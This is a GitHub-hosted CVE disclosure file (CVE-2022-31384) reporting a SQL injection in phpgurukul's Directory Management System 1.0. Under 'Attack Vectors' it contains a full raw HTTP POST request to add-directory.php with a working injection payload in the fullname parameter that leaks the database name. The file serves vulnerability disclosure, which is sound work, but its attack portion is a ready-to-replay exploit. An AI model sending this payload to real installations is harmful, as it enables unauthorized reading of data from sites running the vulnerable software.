laotun-s / POC Public

Code Issues Pull requests Actions Projects Security Insights

main

POC / CVE-2022-31384.txt

laotun-s Update CVE-2022-31384.txt

History

1 contributor

54 lines (53 sloc) | 1.48 KB

```
> [Suggested description]
> Directory Management System v1.0 was discovered to contain a SQL
> injection vulnerability via the fullname parameter in
> add-directory.php.
>
> ------------------------------------------
>
> [Vulnerability Type]
> SQL Injection
>
> ------------------------------------------
>
> [Vendor of Product]
> phpgurukul
>
> ------------------------------------------
>
> [Affected Product Code Base]
> Directory Management System - 1.0
>
> ------------------------------------------
>
> [Affected Component]
> add-directory.php
>
>
> ------------------------------------------

>
> [Attack Vectors]
> POST /dms/admin/add-directory.php HTTP/1.1
> Host: ip
> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
> Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
> Accept-Encoding: gzip, deflate
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 178
> Connection: close
> Cookie: PHPSESSID=eml4bgiglhno5kgmjj8uld5qgs
> Upgrade-Insecure-Requests: 1
>
> fullname=database()','$profession','$email','$mobilenumber','$address',database(),'$admsta')%23&
>
> ------------------------------------------
>
> [Discoverer]
> laotun
>
> ------------------------------------------
>
> [Reference]
> http://phpgurukul.com

Use CVE-2022-31384.
```